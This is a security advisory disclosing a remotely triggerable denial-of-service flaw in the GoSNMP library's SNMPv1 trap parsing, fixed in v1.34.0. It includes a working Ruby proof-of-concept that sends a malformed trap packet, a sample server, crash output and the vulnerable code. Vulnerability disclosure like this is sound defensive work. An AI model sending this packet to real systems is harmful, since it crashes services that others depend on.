GoSNMP Denial of Service Vulnerability
Security Advisory Title: GoSNMP Denial of Service Vulnerability
Advisory ID: AMPLIA-ARA111721
Advisory URL: https://www.ampliasecurity.com/advisories/gosnmp-dos-vulnerability-ara111721.html, https://www.ampliasecurity.com/advisories/AMPLIA-ARA111721.txt
Date published: 11-17-2021
Vendors contacted: gosnmp (https://www.github.com/gosnmp/gosnmp) (notified 11-11-2021)
Release mode: Coordinated release
Last Updated: 11-18-2021
Index
1. Vulnerablity information
2. Vulnerablity description
3. Vulnerable systems
4. Vendor Information, solutions and workarounds
5. Credits
6. Technical description
7. Disclaimer
1. Vulnerability information
Impact: A malformed SNMPv1 trap packet can cause a Denial-of-Service condition in software using the gosnmp library.
Remotely Exploitable: Yes
Bugtraq Id: <unknown>
CVE ID: <unknown>
2. Vulnerability description
GoSNMP is an SNMP library fully written in Go used by different server software.
A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library.
Successful exploitation can be performed remotely without authentication using a single UDP packet.
3. Vulnerable Systems
This vulnerablity was tested against GoSNMP v1.33.0.
4. Vendor Information, Solutions and Workarounds
This issue was fixed in GoSNMP v1.34.0 (released 2021-11-17).
GoSNMP library
https://github.com/gosnmp/gosnmp
References
https://github.com/gosnmp/gosnmp/issues/381
https://github.com/gosnmp/gosnmp/commit/03d926140868951dc4a10397a28f442f046529e5
https://github.com/gosnmp/gosnmp/releases/tag/v1.34.0
5. Credits
This vulnerability was discovered by Amplia Security.
Special thanks to the GoSNMP team for their immediate response.
6. Technical description
GoSNMP is an SNMP library fully written in Go used by different server software.
A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library.
The following PoC script can be used to reproduce the issue:
File ampliasecurity_snmptrap_dos_poc.rb:
# Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb # PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet require 'socket' puts "Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb" puts "PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet" puts exploit = [0x30,0x2E,0x02,0x01,0x00,0x04,0x29,0x70,0x75,0x62,0x6C,0x69,0x63,0xA4,0x21,0x06,0x0E,0x2B,0x06,0x01,0x04,0x01,0x94,0x3C,0x01,0x01,0x1B,0x01,0x0B,0x10,0x00,0x40,0x04,0xC0,0xA8,0x01,0xBA,0x02,0x01,0x06,0x02,0x01,0x11,0x43,0x01,0x64,0x30,0x00] sock = UDPSocket.new host = "hostname" sock.connect(host, 162) sock.send(exploit.pack("c*"), 0) puts "Packet sent!"
Sample server,
File server.go:
package main import ( "fmt" "net" "log" "os" "github.com/gosnmp/gosnmp" ) func handle(packet *gosnmp.SnmpPacket, addr *net.UDPAddr) { fmt.Println("Received!") } func main() { fmt.Println("Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets...") gosnmp.Default.Logger = gosnmp.NewLogger(log.New(os.Stdout, "", 0)) tl := gosnmp.NewTrapListener() tl.OnNewTrap = handle tl.Params = &gosnmp.GoSNMP{ Transport: "udp", Community: "public", Retries: 3, ExponentialTimeout: true, MaxOids: 100, Version: gosnmp.Version1, Logger: gosnmp.NewLogger(log.New(os.Stdout, "", 0)), } tl.Listen("0.0.0.0:162") }
Sample Output:
# go run server.go Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets... $ ruby ampliasecurity_snmptrap_dos_poc.rb Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet Packet sent! $ # go run server.go Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets... Packet sanity verified, we got all the bytes (48) parseRawField: version Parsed version 0 parseRawField: community Parsed community public?!+< @???Cd0 panic: runtime error: index out of range [48] with length 48 goroutine 1 [running]: github.com/gosnmp/gosnmp.(*GoSNMP).unmarshalPayload(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x30, 0xc000094000)/go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/marshal.go:1010 +0x6b6 github.com/gosnmp/gosnmp.(*GoSNMP).UnmarshalTrap(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x0) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:395 +0x337 github.com/gosnmp/gosnmp.(*TrapListener).listenUDP(0xc000060140, {0x536d40, 0x53564b}) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:210 +0x294 github.com/gosnmp/gosnmp.(*TrapListener).Listen(0xc000060140, {0x536d40, 0xc}) /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:349 +0x17d main.main() /poc/server.go:36 +0x279 exit status 2 $
Vulnerable code,
File marshal.go:
(...) func (x *GoSNMP) unmarshalPayload(packet []byte, cursor int, response *SnmpPacket) error { if len(packet) == 0 { return errors.New("cannot unmarshal nil or empty payload packet") } if cursor > len(packet) { return fmt.Errorf("cannot unmarshal payload, packet length %d cursor %d", len(packet), cursor) } if response == nil { return errors.New("cannot unmarshal payload response into nil packet reference") } // Parse SNMP packet type requestType := PDUType(packet[cursor]) At this point 'cursor' == len(packet) (48 in this example), this condition is not checked; next the panic is thrown when requestType := PDUType(packet[cursor]) is executed; crashing the program using the gosnmp library. This causes a DoS condition. Server software packages were found vulnerable to this DoS issue.
7. Disclaimer
The contents of this advisory are copyright (c) 2021 Amplia Security (www.ampliasecurity.com), and may be distributed freely provided that no fee is charged for distribution and proper credit is given.